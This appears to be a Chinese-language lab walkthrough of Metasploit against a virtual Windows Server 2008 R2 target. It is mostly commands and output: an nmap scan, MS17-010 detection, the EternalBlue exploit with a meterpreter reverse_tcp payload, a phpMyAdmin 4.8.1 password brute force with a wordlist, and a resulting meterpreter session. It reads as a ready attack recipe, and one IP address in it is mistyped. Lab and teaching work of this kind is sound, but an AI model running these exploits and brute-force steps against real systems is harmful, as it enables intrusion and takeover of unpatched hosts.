Name Current Setting Required Description ---- --------------- -------- ----------- CHECK_ARCH true no Check for architecture on vulnerable hosts CHECK_DOPU true no Check for DOUBLEPULSAR on vulnerable hosts CHECK_PIPE false no Check for named pipe on vulnerable hosts NAMED_PIPES /usr/share/metasploit-fram yes List of named pipes to check ework/data/wordlists/named _pipes.txt RHOSTS yes The target host(s), see https://docs.metasplo it.com/docs/using-metasploit/basics/using-met asploit.html
yes的是需要设置的，no可以不用设置，有些事给你填好的
RHOST：目标地址（remote）
LHOST：本地地址
扫描靶机
端口扫描
msf6 auxiliary(scanner/smb/smb_ms17_010) > db_nmap -p 445 192.168.174.157 [*] Nmap: Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-21 12:43 CST [*] Nmap: Nmap scan report for 192.168.174.157 [*] Nmap: Host is up (0.00036s latency). [*] Nmap: PORT STATE SERVICE [*] Nmap: 445/tcp open microsoft-ds [*] Nmap: MAC Address: 00:0C:29:4E:42:2E (VMware) [*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 6.19 seconds
漏洞扫描
msf6 auxiliary(scanner/smb/smb_ms17_010) > set RHOST 192.168.174.157 RHOST => 192.168.174.157
如果之前有用db_namp扫描过，可以直接从hosts中读取
hosts -R
msf6 auxiliary(scanner/smb/smb_ms17_010) > run
[+] 192.168.174.157:445 - Host is likely VULNERABLE to MS17-010! - Windows Server 2008 R2 Standard 7601 Service Pack 1 x64 (64-bit) [*] 192.168.174.157:445 - Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed
返回信息提示有可能存在漏洞
攻击靶机
#利用攻击模块 msf6 auxiliary(scanner/smb/smb_ms17_010) > use exploit/windows/smb/ms17_010_eternalblue [*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp msf6 exploit(windows/smb/ms17_010_eternalblue) > options
Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS yes The target host(s), see https://docs.metasploit.com/do cs/using-metasploit/basics/using-metasploit.html RPORT 445 yes The target port (TCP) SMBDomain no (Optional) The Windows domain to use for authenticatio n. Only affects Windows Server 2008 R2, Windows 7, Win dows Embedded Standard 7 target machines. SMBPass no (Optional) The password for the specified username SMBUser no (Optional) The username to authenticate as VERIFY_ARCH true yes Check if remote architecture matches exploit Target. O nly affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines. VERIFY_TARGET true yes Check if remote OS matches exploit Target. Only affect s Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
address mac name os_name os_flavor os_sp purpose info comments ------- --- ---- ------- --------- ----- ------- ---- -------- 192.168.174 00:0C:29:4E: WIN-R4FJ4HCK Windows Serv Standard SP1 server .157 42:2E TF1 er 2008 R2
address mac name os_name os_flavor os_sp purpose info comments ------- --- ---- ------- --------- ----- ------- ---- -------- 192.168.174 00:0C:29:4E: WIN-R4FJ4HCK Windows Serv Standard SP1 server .157 42:2E TF1 er 2008 R2
Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS 192.168.174.157 yes The target host(s), see https://docs.metasploit.com/do cs/using-metasploit/basics/using-metasploit.html RPORT 445 yes The target port (TCP)
选择payload
因为漏洞的利用有不同的目的，也有不同的方式，我们这里就要选择自己需要的payload
msf6 exploit(windows/smb/ms17_010_eternalblue) > show payloads
Compatible Payloads ===================
# Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 payload/generic/custom . normal No Custom Payload 1 payload/generic/shell_bind_aws_ssm . normal No Command Shell, Bind SSM (via AWS API) 2 payload/generic/shell_bind_tcp . normal No Generic Command Shell, Bind TCP Inline 3 payload/generic/shell_reverse_tcp . normal No Generic Command Shell, Reverse TCP Inline
search phpmyadmin use 1 options #要设置三个东西 set rhost 192.168.174.1257 set targeturi /phpMyAdmin-4.8.1/ set userpass_file small.txt设置密码字典 ##用户名也可以设置字典爆破 --------------------------------- 字典可以在文件中找 locate small.txt cp path /root
使用这个模块就算密码正确有时候也会失败，不好用，不如bp
攻击模块
search phpmyadmin use 8 根据前面爆破出来的密码设置即可 run meterpreter > getuid Server username: qaq meterpreter > sysinfo Computer : WIN-R4FJ4HCKTF1 OS : Windows NT WIN-R4FJ4HCKTF1 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586 Meterpreter : php/windows meterpreter > getwd C:\phpStudy\WWW\phpMyAdmin-4.8.1
